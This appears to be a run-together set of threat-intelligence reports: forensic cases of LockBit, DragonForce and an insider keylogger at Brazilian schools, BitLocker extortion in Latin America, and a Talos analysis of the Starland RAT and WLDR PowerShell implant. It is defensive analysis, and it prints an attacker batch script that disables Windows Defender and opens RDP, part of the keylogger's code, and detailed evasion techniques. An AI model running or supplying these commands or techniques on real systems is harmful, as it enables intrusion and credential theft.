During our analysis of the LockBit sample, we were able to extract its configuration. Interestingly, it was configured without the impersonation and spreading options. This meant the attacker had to perform manual lateral movement to deploy the malware across the network.

"config": {
    "settings": {
      "impersonation": false,
      "local_disks": true,
      "network_shares": true,
      "kill_processes": true,
      "kill_services": true,
      "set_wallpaper": true,
      "self_destruct": true,
      "kill_defender": true,
      "wipe_freespace": true,
      "psexec_netspread": false,
      "gpo_netspread": false,
…

Further analysis revealed that the attacker used PsExec for lateral movement. By analyzing the Update Sequence Number (USN) Journal, we were able to identify .KEY files associated with PsExec that showed us the previously compromised machines used by the attacker.

After gaining access to the target machines, the adversaries deployed a batch script to disable the system’s defenses. Our analysis of this artifact showed that they had the administrative credentials to disable the EDR in place. In addition, the script enabled RDP, which gave the attackers remote access to the target. The listing below shows an excerpt of the script:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall add rule name="allow RemoteDesktop" dir=in protocol=TCP localport=3389 action=allow
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnRealTimeProtection /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScriptScanning /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpyNetReporting /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "" /f
reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{UUID}" /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v ServiceKeepAlive /t REG_DWORD /d 0 /f
sc stop WinDefend
sc config WinDefend start= disabled

Finally, by cross-checking the Prefetch files, we were able to identify the precise dates of PsExecSvc.exe and LBB.exe (LockBit) execution. This revealed that the attacker established the initial connection to the analyzed machine around 5:30am UTC and ran LBB.exe for the last time at 10am UTC on the same day, resulting in an activity window of approximately four hours and thirty minutes. We were able to identify the extent of the compromise and the additional machines that required network isolation for further forensic analysis, containment, and remediation.

Case 02 – DragonForce deployed via AnyDesk

In another incident, we identified a compromised user account that the adversaries used to install the AnyDesk software to enable remote access. Although the attacker erased the system logs after encrypting the victim’s files, we were able to identify the ransomware execution event via the Prefetch and Amcache.hve files, which provided us with the SHA-1 hash of the sample.

Once we obtained the SHA-1 of the malicious artifact (named by the attacker as 1.EXE), we were able to confirm that it was a DragonForce variant. Even though the lack of evidence made the analysis more difficult, this case shows that forensic investigators must be prepared to identify information that the attackers missed or left untouched.

Case 03 – Python keylogger used by an insider

The third incident illustrates how a series of bad practices enabled an insider to collect passwords from other users inside the infrastructure. First, the customer contacted us stating that a machine was exhibiting strange behavior: files containing passwords were being created. We started with triage collection on one of the affected machines.

Evidence from the Program Compatibility Assistant (PCA) showed the execution of two suspicious files, Windows Host Widgets.exe and Windows Host Widgets_.exe, both located in the C:\Users\<user>\.vscode\dlo directory, where <user> represents a user account shared by everyone who uses the machine. The same artifacts were identified within the Amcache.hve file, and multiple executions were also confirmed by analyzing the Prefetch files. Another interesting source of evidence, UserAssist, confirmed that the threat actor also executed both EXE files by double-clicking on them.

MFT analysis showed that multiple log files named cacheX.txt were created in the previously mentioned directory, where X was a number that increased with each malware execution. We then analyzed the EXE files to confirm their behavior. Luckily, both proved to be the same Python script, which we could easily decompile.

As shown in the listing below, the script contains methods and strings with Portuguese names. It is capable of hiding the log files from view in Explorer. The developer also set a procedure to identify when the Caps Lock key was pressed, in order to record the correct passwords.

def get_base_path():
    ...

def encontrar_proximo_nome(base='cache'):
    ...

def set_file_hidden(filepath):
    ...
    ctypes.windll.kernel32.SetFileAttributesW(str(filepath), FILE_ATTRIBUTE_HIDDEN)
    ...

with open(log_file, 'a', encoding='utf-8') as f:
    f.write(f'\n\n--- Registro iniciado em {datetime.datetime.now()} ---\n')
set_file_hidden(log_file)
...

def is_capslock_on():
    return bool(ctypes.windll.user32.GetKeyState(20) & 1)

...

def on_press(key):
    ...

def on_release(key):
    ...

def main():
    with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()

if __name__ == '__main__':
    main()

This simple script did not implement any persistence or automated data exfiltration mechanisms. Therefore, the insider likely had to manually retrieve the generated log files containing the text typed by the victims. By revisiting the previously collected evidence, we identified USB connections around the same time as the script’s executions. This suggests that removable media was probably used to collect the generated keylogging logs from the environment. As a result of the investigation, the customer changed the passwords of all affected accounts. However, without additional evidence or footage, it was not possible to conclusively attribute the activities to a specific individual and take the appropriate disciplinary and legal measures.

Conclusions and recommendations

The incidents highlighted in this article demonstrate that Brazilian educational institutions face a diverse set of threats, ranging from ransomware operations to insider activity. In many cases, the attackers relied on valid credentials, exposed services, remote access tools, poor patch management, and insufficient endpoint hardening rather than advanced malware or new techniques. Based on these findings, educational institutions should prioritize controls that reduce the likelihood of account compromise and the impact of ransomware deployment. They should also improve forensic visibility after an incident.

Institutions should enforce the use of multi-factor authentication (MFA) for all publicly accessible services, especially VPNs, remote access portals, and email accounts. Since valid accounts were one of the most common initial access vectors observed in our dataset, MFA can significantly reduce the likelihood that stolen or reused credentials alone will compromise the entire environment. We also recommend periodically reviewing privileged accounts, removing unnecessary administrative permissions, and avoiding shared accounts, especially on machines accessed by multiple users, since this makes accountability extremely difficult.

Each user should have their own account, following the principle of least privilege to prevent unauthorized software execution. Additionally, it is advisable to restrict and monitor the use of remote access tools such as AnyDesk or TeamViewer. Unexpected installations or executions of these tools should be treated as high-priority alerts.

To minimize the impact of ransomware, educational institutions should improve their backup and recovery strategy. Backups should be isolated from the primary environment (preferably in more than one location) and tested regularly. Centralized logging, extended EDR telemetry retention, and proper time synchronization across hosts can also improve the ability to reconstruct an attack timeline and implement the necessary response measures.

The use of outdated systems increases the attack surface, so we recommend that organizations adopt an effective update and patch management policy. It is also important to raise security awareness, since users must understand the risks associated with credential sharing, unknown executables, and unauthorized software.

From a digital forensics and incident response (DFIR) perspective, the reviewed incidents demonstrate that effective incident response activities require correlating multiple forensic artifacts in order to reconstruct the attacker’s actions. Investigators should be aware of how to find information even when logs are missing. Many other artifacts are preserved and can be used for this purpose, such as Amcache, PCA, Prefetch, UserAssist, MFT, and USN Journal. The attackers may fail to erase all traces of their activity, so taking a broad forensic approach is of the utmost importance for determining the scope of the compromise and supporting containment and remediation actions.

Observed TTPs

The table below shows the observed TTPs in our dataset, including cases not detailed in this post.

Tactic	Technique	ID
Resource Development	Compromise Accounts	T1586
Collection	Input Capture: Keylogging	T1056.001
Execution	System Services: Service Execution	T1569.002
Execution	Hijack Execution Flow: DLL	T1574.001
Privilege Escalation	Exploitation for Privilege Escalation	T1068
Lateral Movement	Remote Services: Remote Desktop Protocol	T1021.001
Command and Control	Remote Access Tools	T1219
Exfiltration	Exfiltration over Physical Medium: Exfiltration over USB	T1052.001
Impact	Data Encrypted for Impact	T1486

Recently, our teams in Latin America investigated a series of incidents involving misconfiguration, the deployment of BitLocker, and the exploitation of corporate printers. Attackers used the devices to notify organizations that their infrastructure had been compromised and they had to pay a ransom to recover their data.

This article analyzes two incidents that occurred in June in Colombia and in May in Mexico. We highlight the similarities in the attackers’ communications and outline emerging trends in ransom amounts.

Initial sign of an attack

In both cases, the affected users initially noticed a padlock icon next to their drives in Windows Explorer. This indicated that the drive was encrypted with BitLocker, blocking access to its contents.

A recovery key was required to unlock the drive.

This is not the first time we have seen such threats; a few years ago, our team discovered a threat known as ShrinkLocker, which utilized BitLocker to achieve its goals.

First case: abusing RDP to encrypt data

One of the incidents occurred in Colombia in June. The attackers exploited an internet-exposed RDP service on a machine connected to an 8 TB storage device containing mission-critical data. After taking control of the system and manipulating user credentials, the attackers enabled BitLocker exclusively on the drive that primarily stored financial data. Once the encryption was complete, they locked the drive and used the company’s printers to produce ransom notes.

Unfortunately, it was not possible to obtain evidence in the case due to the company’s rush to restore the encrypted disk. The communication with the attackers revealed a demand for just $3,000, and the company considered paying the ransom. After that, the system was restored before the forensic team could take any action, eliminating the evidence needed to assess the incident.

This attack was made possible by an internet-facing remote desktop service (RDP) with additional open ports, which employees used to access corporate information. By exploiting this network exposure and misconfiguration, attackers breached the system, identified an additional drive, and leveraged BitLocker to encrypt the data and demand a ransom payment. Leaving RDP ports open without proper security controls jeopardizes the security of systems and information, as highlighted in the our “Global Report: Anatomy of a Cyber World“.

The company confirmed that, due to compatibility issues with applications required for operation, EPP (Endpoint Protection Platform) protection was disabled on the system, making it easier for attackers to validate, enumerate, and execute applications without revealing malicious activity to central monitoring systems.

Second case: meet the XEntry Team

In another incident, which occurred in Mexico in May, our team identified how the threat actor gained initial access to the infrastructure. They exploited a misconfigured MSSQL service. This allowed them to execute commands on the system after obtaining the database login credentials from code insecurely published on GitHub.

In this incident, the attack began three months prior to detection, with the intruder discovering and verifying their access to the environment. After confirming their access and privilege level within the MSSQL server settings, which extended beyond the DBMS to the underlying operating system, the attackers initially focused on manipulating certain aspects of the web server configuration on the same system. They lowered the server’s security settings and created web shell files in the publicly accessible folders. Many of these attempts to manipulate the service or create malicious files were contained by existing EPP security controls, but despite the alerts, the necessary investigation to address the activity was not conducted.

The attackers subsequently confirmed their ability to execute commands locally and set up their attack infrastructure to transmit data via a communications bridge. By exploiting the MSSQL service, they gained access to each of the organization’s internal systems.

The database engine used by the company was Microsoft SQL Server 2019.0150.2160.04, misconfigured to allow operating system сommand execution via the xp_cmdshell extended stored procedure.

Due to this misconfiguration of an internet-exposed service, the attackers established a channel capable of executing any type of command directed at the server and the local infrastructure within its scope.

One of the main objectives was to identify shared systems and resources that provided access to critical information. Our analysis confirmed the attackers’ access to systems storing configuration parameters for networking, enterprise management, and cloud services, among others.

In early May, the attackers focused on running additional scans and deploying ManageEngine’s Endpoint Central RMM (Remote Monitoring and Management) to establish persistence and begin the final stages of their intrusion.

Further RMM-type applications, such as Mesh Agent and Tactical RMM, were installed in the days that followed. These were used to deploy scheduled tasks responsible for enabling the BitLocker service and individually encrypting the infrastructure’s disks, generating a key for each encrypted system.

Finally, in mid-May, the attackers managed to execute a Group Policy Object (GPO) used to deploy activation and encryption tasks, as well as other policies responsible for continued deployment of RMM applications via scheduled tasks. The activity initially targeted critical systems but later spread to every system synchronized with the domain controller. Users became aware of the attack when their machines displayed a blue screen with the message “Hacked by XEntry Team”, and their credentials stopped working to access their systems.

A few hours later, ransom notes began emerging from office printers.

These cases confirm that adversary’s objective is to gain access to infrastructure while avoiding investment in or partnership with ransomware groups. Instead, they leverage built-in Microsoft tools to facilitate data encryption and ransom payments. Monitoring and centralizing logs on protected resources, as well as promptly managing alerts, are critical to countering this type of intrusion.

Conclusions

• Although the systems under review had security measures in place, there was a lack of proper alert management or inadequate decisions regarding application incompatibilities.
• We strongly recommend configuring the Remote Desktop Protocol (RDP) in strict accordance with cybersecurity best practices to prevent unauthorized access. This is especially critical: according to our Global Report: Anatomy of a Cyber World, more than 13% of incidents are related to policy violations and configuration errors, confirming that misconfigurations continue to pose a significant risk.
• Organizations should prioritize strict application control policies and active monitoring of network traffic for command-and-control (C2) communications. This is especially critical: according to the same report, more than 20% of incidents involved the abuse of RMM (Remote Monitoring and Management) tools for execution and C2 strategies. The fact that attackers used more than three distinct tools to gain control during a single incident further underscores the urgent need for these measures.
• Some questions remain unanswered due to a lack of evidence and a hasty system restoration effort that bypassed critical stages of the incident response process. It is important to ensure an adequate incident response procedure, preserving evidence to confirm all related activities, and adjusting or proposing controls to prevent future incidents involving similar TTPs.
• Although the ransom notes do not reveal a clear connection between the actors, certain words used in the messages, as well as the method of delivery and communication, may confirm a link:

“As a guarantee, we have no negative online reviews about non-fulfillment of our obligations…” (Ransom note from the first case)

“Our reputation is the guarantee that all content will be fulfilled…” (Ransom note from the second case)

Our teams continue to monitor these threats.

Detection signatures

• Trojan.Multi.Agent.gen
• Trojan.Win32.GenAutorunMsSqlServerCommandRun.a
• Trojan.Win32.Generic
• Exploit.Win32.SCShell.a

• Cisco Talos is disclosing UAT-11795, a sophisticated, Russian-speaking, financially motivated adversary that has been conducting a malicious campaign targeting users in the U.S. and Europe since at least June 2025.  
• Talos has discovered that the actor in this campaign delivers a Python-based remote access tool (RAT) that we track as “Starland RAT” and a command-and-control (C2) memory implant known as the “WLDR agent.” 
• The WLDR agent is a sophisticated PowerShell-based C2 memory implant that features encrypted beaconing, task queuing, and a Runspace execution engine for executing additional payloads.  
• UAT-11795 also has CastleStealer and Remcos RAT as alternative payload implants in their arsenal. 
• The actor targets victims' credentials and cryptocurrency wallet assets, establishing a persistent connection to the victims' machines from the C2 server, with the potential to deliver and execute further payloads. 

Victimology 

According to the telemetry data, the infection is predominantly observed in the United States. There are also fewer potential impacts observed in Germany, Romania, and Venezuela, based on the assessment of the passive DNS resolution data of the C2 domains associated with this campaign. 

Talos has observed that the threat actor in this campaign has utilized trojanized installer lures from software categories including: 

Trojanized installer	Software name	Software category
MobaXterm_v26.1.exe	MobaXterm	SSH, remote desktop, and network administration terminal
WebEx_Client.exe and Zoom installer	Cisco WebEx and Zoom	enterprise video conferencing and collaboration platforms
dbeaver-ce-windows-x86_64.exe	DBeaverCommunity Edition	open-source database management and SQL client
FaceitInstaller_x64.exe	FACEIT	online gaming platform

The breadth of trojanized software across developer tooling, IT administration utilities, enterprise collaboration platforms, and a consumer gaming application suggests the actor is operating an opportunistic, volume-driven distribution model targeting multiple victim profiles simultaneously, rather than a single vertical. 

Threat actor infrastructure 

The threat actor in this campaign operates a distributed infrastructure across two functional categories, payload staging and persistent C2, with domain naming conventions chosen to blend into legitimate traffic categories. The staging domains, including “eorthopaedics[.]com” (likely a hijacked domain), “web-devtools[.]com” (resembles a developer tooling portal), and “zynaris[.]io” (resembles a technology start-up), with each domain serving a narrow functional role:  

• “eorthopaedics[.]com” and “sastoro[.]com” hosts the PowerShell stage chain under “/feed/” and “/alpha/” paths indicating that the actor has added the malicious routing alongside the legitimate contents. 
• “web-devtools[.]com” serves raw shellcode payloads under the paths (“/starlandfox”, “/x32remka”, “/dopfile”) and a compressed archive. 
• “zynaris[.]io” hosts the potential ClickFix-delivered HTML application (HTA) stager and trojanised installer lures. 

The C2 infrastructure is similarly distributed, with “eorthopaedics[.]com” and “sastoro[.]com” both serving hardware-bound unique identifier (HWID) encrypted envelopes over HWID parameterized URL paths with “eorthopaedics[.]com” under “/feed/” and “sastoro[.]com” under “/alpha/”. This suggests that the two domains represent parallel C2 infrastructure used for the same campaign. 

The domains “windowscreenrepairnearme[.]com” (which is also likely to be a hijacked domain) and “aipythondevs[.]com” serve as the primary C2 for the Starland Python RAT. All C2 URLs incorporate a victim hardware identifier derived from the C: drive volume serial number of the victim machine as the final URL path component, enabling the distinct C2 communication for each of the compromised victims. The actor in this campaign has also implemented C2 infrastructure resilience by using a Polygon smart contract (“0x6ae382ed2154cc84c6672e4e908cd2c69c1b35ba”), which stores an XOR-encrypted fallback C2 domain that is retrievable via a public JSON-RPC call.  

Talos discovered that the actor controls two Telegram bots, “8384531459” (“skuefq_bot”) and “7993597060” (“komandastuk_bot”), used for receiving the implant’s execution notification beacons, including messages with victim’s machine fingerprints and cryptocurrency wallet inventories. 

Talos’ research uncovered a private live Telegram channel called “stuk komanda”, controlled by the same threat actor. The stuk komanda channel was created on June 5, 2025, and has three unknown subscribers. It does not contain any chat groups and appears to be structured like a C2. The channel lists messages in the name of file names that appear to be Windows-based binaries, highlighting that the threat actor has been active since at least June 2025. 

Multi-stage attack summary 

The threat actor executed a multistage campaign that involves deploying a weaponized HTA downloader via Microsoft HTML Application Host (“mshta.exe”) on the victim's machine, likely utilizing a ClickFix technique. The execution of the HTA file results in the downloading and execution of trojanized installers bundled with a malicious Python package, which sends the implant status of the installer to an attacker-controlled Telegram bot. The NSIS script associated with the trojanized installer is designed to execute the malicious byte-compiled Python code encapsulated within the installer file. 

This initial byte-compiled Python code acts as a loader that decodes and executes an embedded Python RAT, which we are calling Starland RAT, in the victim's machine memory. Starland RAT offers a wide range of functionalities and has been specifically engineered to operate within the Windows environment. Its capabilities include defense evasion techniques, system reconnaissance, stealing browser data and cryptocurrency wallets, and a fallback C2 connection mechanism that includes a hardcoded C2 URL, as well as a Polygon Ethereum smart contract that serves as a backup. This connection allows it to interact with the smart contract through Eth_call, dynamically resolving the C2 domains. The RAT sends the reconnaissance information to the C2 to register the victim's machine and is proficient in receiving and executing intermediate payloads in several formats, including shellcode for 64-bit and 32-bit Windows environments, directly executing Windows shell commands, and downloading and executing malicious EXE, MSI, and DLL files. 

Talos has observed that the threat actor has distinct infection chains for each type of intermediate payload that Starland RAT receives from the C2. In the case of an x64 shellcode intermediate payload, it implants CastleStealer as the final payload. CastleStealer is a .NET stealer that targets credentials, cryptocurrency wallets, Telegram data, and other browser data from the victim's machine. Similarly, the x32 shellcode implants a variant of the Remcos RAT. 

Furthermore, Talos has observed that the threat actor executed a Windows shell command through Starland RAT as an intermediate payload to download and execute a PowerShell stager. This stager is associated with an undocumented PowerShell C2 framework, which we track as “WLDR C2” in alignment with the internal project designation used by the threat actor in the PowerShell scripts. The PowerShell stager is heavily obfuscated and is designed to decrypt an embedded next-stage PowerShell loader. The second-stage PowerShell loader script has capabilities for defense evasion, connects to the C2, downloads a JSON response, and processes this response to execute another embedded PowerShell payload, the WLDR agent, in the victim's machine memory. The WLDR agent is a bespoke PowerShell script that receives its C2 address through the PowerShell loader injected global variable at the time of execution. The WLDR agent employs capabilities including encrypted HTTP beaconing, comprehensive host reconnaissance, a robust reconnection protocol, and a modular task execution engine to further execute the malicious PowerShell scripts as directed by the threat actor from the WLDR C2 server. 

Initial vector 

The threat actor gains initial access to the victim machine potentially through a ClickFix social engineering technique that entices the user to execute a command, which then stealthily downloads and executes a remotely hosted weaponized HTA file. The HTA file runs an embedded VBScript that drops a Windows batch file into the user profile’s application temporary folder, which contains instructions to first download and implant a trojanized installer from the attacker-controlled staging domain onto the victim machine. 

Once the trojanized installer is executed, the batch file sends a notification beacon to an attacker-controlled Telegram bot, “8384531459”, to confirm successful execution to the threat actor. At the same time, the VBScript establishes persistence under “HKCU\Software\Microsoft\Windows\CurrentVersion\Run” with the generic value “MyApp”, pointing back to “mshta.exe” to execute the remotely hosted weaponized HTA file every time the victim logs in to the machine. Talos identified a Russian-language developer comment left in the VBScript (“Добавление команды в автозапуск для текущего пользователя”), indicating that a Russian-speaking actor is conducting this campaign. 

Python loader packaged into trojanized installers 

Talos has observed that the threat actor in this campaign has weaponized software installers by utilizing the Nullsoft Scriptable Install System (NSIS). They have packaged the Python runtime executable “pythonw.exe” along with a compiled Python loader, which is disguised as a license file named “LICENSE.txt”. The threat actor has modified the NSI script file of the installer to include instructions for executing the compiled Python loader using the Python runtime executable.  

The compiled Python loader is a relatively large file obfuscated with numerous junk functions that perform random arithmetic operations and print randomly generated strings to the standard output. The actual execution logic is confined to six lines in the loader program, implementing XOR decryption using the XOR key 198 (0xC6) to decrypt the encrypted embedded payload of Starland RAT and execute it in the victim machine's memory.

Starland RAT, a Python-based RAT 

Starland is a Python-based remote access tool (RAT) with the capability to steal cryptocurrency. During its initial execution phase, the RAT resolves and declares all required Windows API function signatures through Python’s ctypes interfaces. It directly loads “kernel32.dll” using WinDLL and explicitly defines the argument types and return types for every Win32 call used later in execution, including VirtualAllocEx, WriteProcessMemory, CreateRemoteThread, VirtualProtectEx, CreateProcessA, QueueUserAPC, and ResumeThread. Custom ctypes Structure subclasses are declared for SECURITY_ATTRIBUTES, STARTUPINFO, and PROCESS_INFORMATION, mirroring the definitions in the Windows SDK. This API mapping mechanism ensures that all injection and process manipulation calls later in execution are ready without further need for Windows API imports or dynamic resolution. 

Before any malicious logic executes, the RAT conducts check for anti-analysis environments. First, it compares the logged-on username of the victim machine against a hardcoded list of usernames, which includes known sandbox service accounts and aliases, including WDAGUtilityAccount. Next, the RAT verifies the victim's computer name against a list of hostnames from recognized sandbox environments, such as Cuckoo, Any.Run, Joe Sandbox, and Hybrid Analysis. If either check matches, the RAT's execution terminates immediately. Additionally, the RAT examines the Downloads folder for a Zone.Identifier alternate data stream on the trojanized installer file, confirming that the file was obtained via a browser download rather than being uploaded or copied directly. 

The RAT establishes persistence before any network communication with the C2 takes place. The primary mechanism involves creating a scheduled task using the PowerShell New-ScheduledTask command, with a randomized name following the pattern PythonLauncher-{3 random characters}. When executed with administrator privileges, the trigger is set to AtLogOn with RunLevel Highest, ensuring the elevated re-execution of the RAT at every user logon. Additionally, a secondary Startup folder LNK shortcut is created via the WScript.Shell COM object, placed in the user's Startup directory, targeting “pythonw.exe” with LICENSE.txt as its argument. If the RAT is not already running with elevated privileges, it also attempts UAC elevation via ShellExecuteW with the runasverb, aiming to upgrade the scheduled task to the higher-privilege logon before proceeding. 

It performs system reconnaissance, assembling the victim profile that includes the system hardware-bound unique identifier (HWID), total RAM size of the victim machine, and installed antivirus by executing the following commands: 

Get-CimInstance -Class Win32_ComputerSystemProduct.UUID  
wmic memorychip get Capacity   
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct

The RAT also conducts Active Directory reconnaissance via the PowerShell command Get-WmiObject Win32_ComputerSystem.Domain. If the victim is identified as a member of Active Directory, the RAT executes the following commands to collect information about domain structure, domain controllers, and the victim’s domain privileges: 

whoami && systeminfo && net user {USERNAME} /dom && nltest /dclist

For workgroup-only hosts, it executes the whoami /all command. The reconnaissance data collected are staged by the RAT for inclusion during the victim machine registration to the primary C2 domain hardcoded in the RAT program. It also captures a screenshot of the victim machine's desktop, saves it as a PNG in the RAT’s working directory, generates a Base64-encoded string for the PNG file in memory, stages it alongside the reconnaissance data, and deletes the PNG file from the disk. 

Additionally, it gathers the victim’s cryptocurrency assets information by enumerating the desktop cryptocurrency wallets and browser extension wallets, checking for the presence of over 40 cryptocurrency wallets. The collected data is also staged alongside the reconnaissance data and the Base64-encoded screenshot (PNG) data. The RAT consolidates all collected data into a single JSON file, XOR encrypts it with the 5-byte key “helo1”, Base64-encodes it, and sends it to the primary C2 through an HTTP POST request using the HTTP user-Agent:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36.  

If the primary C2 registration fails, the RAT enables a blockchain-anchored fallback mechanism. An eth_call is triggered via JSON-RPC to the public Polygon RPC endpoint “polygon-rpc[.]com”, targeting the smart contract “0x6ae382ed2154cc84c6672e4e908cd2c69c1b35ba” and function selector “0xc659f3b8” for the latest block. The encrypted hexadecimal string that the RAT receives from the smart contract is XOR-decrypted with the key “$m7*rYpry3” to recover a fallback domain to which the RAT sends the victim machine registration request along with the reconnaissance and screenshot data. 

Before transmitting the reconnaissance information to the C2 for the victim's machine registration, the RAT sends a notification message to the attacker-controlled Telegram bot using hardcoded credentials. The message includes the victim's public IP address sourced from “api64.ipify[.]org”, the build name, region locale, computer name presented as a “Crew ID” field, OS platform and release, processor string, and the hardcoded label  
"Windows Defender” as the protection application indicator. If any Chrome cryptocurrency wallet extensions or desktop cold wallet applications were detected during the reconnaissance phase, they were also appended to the message of the Telegram bot, providing the threat actor with visibility into the victim profile and cryptocurrency assets before the actual registration of the victim machine to the C2. 

After the RAT registers the compromised machine with the C2, it sends a GET request to the C2 server every 50 – 60 seconds. It contains minimal JSON content with two randomly named junk fields and the bot's unique identifier, encoded using the same XOR key “helo1” and then Base64 encoded. The C2 server responds with one of the four commands supported by the RAT: 

Commands	Action
shellexecute	Runs an arbitrary shell string via “cmd /c” or PowerShell and returns the output to the C2 server through HTTP POST request.
x32	Receives a 32-bit shellcode URL and executes the shellcode that is staged using the asynchronous procedure call (APC), process injection technique.
x64	Receives a 64-bit shellcode URL and executes the shellcode that is staged using the asynchronous procedure call (APC), process injection technique.
download	Downloads the payload file to the “%TEMP%” folder and executes it by file extension, supporting EXE, MSI, DLL, and ZIP formats with appropriate execution methods.
HTTP 403 response	Triggers the self-deletion of the RAT file and exits its process, functioning as a kill switch.

Windows shell command deploys bespoke WLDR agent C2 implant 

In the current campaign investigation, Talos discovered that the threat actor executed a curl command to download and execute additional PowerShell script payloads of the WLDR C2 framework from another C2.  

WLDR stager 

The WLDR stager PowerShell script represents the initial stage, where it establishes a loop counter and two boolean flags for execution states. Each state creates a runtime alias for PowerShell command execution, resolving .NET Base64 and byte conversion types through an obfuscated string construction mechanism. It also defines an inline decryption routine that XOR decrypts the next stage, which is the embedded encrypted WLDR downloader PowerShell script, using a dynamically computed XOR key. 

WLDR downloader  

WLDR downloader is a compact HWID-bound loader script. Upon execution, it derives a hardware identifier from the victim’s C: drive volume serial number, converts it from hexadecimal to a decimal number, and appends it to two hardcoded C2 URLs for victim-specific payload delivery and a persistent agent task channel. It then issues an HTTP GET request to the C2, and the C2 server only responds to requests whose HWID matches a pre-registered value. The C2 server response is an encrypted JSON envelope containing fields with a Base64-encoded salt, initialization vector, encrypted data, and authentication tag. 

The WLDR loader processes the JSON response by decrypting the envelope through an inline decryption routine using a derived 64-byte key from a hardcoded plaintext password “odg5t8mvssvh” and the salt received from the C2 server in the JSON response. This is followed by the decryption of the encrypted data, which is the next stage of the WLDR agent PowerShell C2 memory implant. Before executing the WLDR agent, it writes the C2 URL and the plaintext password into the global PowerShell scope, making both available for the WLDR agent as its C2 address and session encryption key for all subsequent communication with the C2. 

Bespoke WLDR C2 agent implant 

The WLDR agent is a fully featured PowerShell remote access client that operates entirely in memory. It implements encrypted C2 communications, concurrent task execution through a managed Runspace engine, and a module delivery framework that provides the threat actor with interactive remote PowerShell execution capabilities on the victim's machine. 

Upon execution, the agent initializes the server's URL to a development placeholder and immediately checks for a globally scoped URL and session encryption password that were set by the WLDR loader script. If found, it overwrites the placeholder with the C2 URL and inherits the session encryption password, while also configuring other operational parameters, including polling interval, HTTP timeout, retry counts for the C2 reconnect cycle, and the number of threads for the Runspace pool. 

Before initiating the C2 connectivity, it implements a mutex “f2j398fj239d8j23dkkskskkkkkkkkk” to prevent duplicate instances and performs a dependency check on the inherited session encryption password. If the password is not found, the agent exits its execution. The network communication is encrypted using AES-256-CBC with HMAC-SHA256 in an encryption, then Message Authentication Code (MAC) construction, with session keys derived through PBKDF2-SHA256 over a randomly generated salt at 5,000 iterations. The protocol version tag WSv1 is bound to every MAC computation, with a new random initialization vector (IV) generated for each message. 

The agent performs reconnaissance via WMI queries, gathering information on antivirus products, network adapter configurations, OS version and build, domain membership, CPU, RAM, administrative privilege status, and UAC policy. A hardware identifier is primarily derived from the C: drive volume serial number; if that fails, it queries the machine's registry for the GUID or generates a checksum of the host name, which is appended to all C2 URLs. The initial connection to the C2 is established through an HTTP POST that includes the victim machine profile, the infection identifier, protocol version 2.0.0, and the cryptographic session parameters, with a connection retry timing set to 30 seconds. All subsequent traffic is sent to C2 over HTTPS, with headers designed to mimic a Chrome browser session in version 124. 

After establishing the initial connection with the C2, the agent polls the C2 server every 10 seconds. The response from the C2 server can include either commands or tasks, with the only hardcoded command in the agent being a kill instruction that triggers instance termination, while tasks are queued for execution. 

During our research, we observed that the initial response from the C2 was the idle polling interval response, which included empty fields in both the “commands” and “tasks” arrays. 

Further analysis of the agent program disclosed that the C2 responses to the polling will contain encrypted PowerShell commands or scripts, which are decrypted using the same hardcoded password and executed through one of the two runtime engines defined in the backdoor program.  

The primary agent execution engine is a PowerShell RunspacePool supporting up to 10 concurrent threads. Each PowerShell script payload delivered by the C2 is wrapped with details of execution context and parameters as in scope variables along with event handlers on the script’s execution result of output, error,and warnings. These event handlers registered on the output, error, and warning streams are triggered synchronously as the script execution output is produced, packaging results into stream messages and forwards them to the C2 in real time without waiting for the script execution completion.  

This message streaming capability makes the WLDR agent’s Runspace engine favorable for the interactive operations such as continuous monitoring where the command output reaches the threat actor incrementally, rather than after the completion of the script execution.  

If the Runspace engine fails to initialize the payload, PowerShell script execution defaults to standard PowerShell background jobs. It injects parameters and launches the script as a background job; however, unlike the Runspace path, it collects output only after the job completes, making it suitable only for short-lived batch tasks. 

Other payloads of Starland RAT campaign 

Talos has discovered that the threat actor possesses additional malware, including CastleStealer and Remcos RAT, which can be deployed as payloads to the victim's machine via the Starland RAT. To deliver these payloads, the threat actor utilizes a custom shellcode loader for both x64 and x32 machines, encapsulating the embedded encrypted binaries of the payloads. 

The shellcode loader resolves all required Windows APIs entirely at runtime by enumerating the list of loaded modules in the OS memory, iterating through each module's export directory, and comparing a hash of each function name against stored target values. The shellcode neutralizes both the Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW) through two sequential bypass mechanisms. The primary technique resolves the target functions AmsiScanBuffer in “amsi.dll” and EtwEventWrite in “ntdll.dll” using runtime hash-based API resolution, then overwrites their first bytes in memory with a patch that forces AMSI to always return a clean scan result and the ETW write function to return immediately without writing the output, effectively neutralizing both interfaces. If the primary patching technique fails, the shellcode executes a fallback mechanism where it calls VirtualProtect to temporarily change the target function's memory page protection value to read-write-execute and writes the same patch bytes directly, then restores the original page protection. 

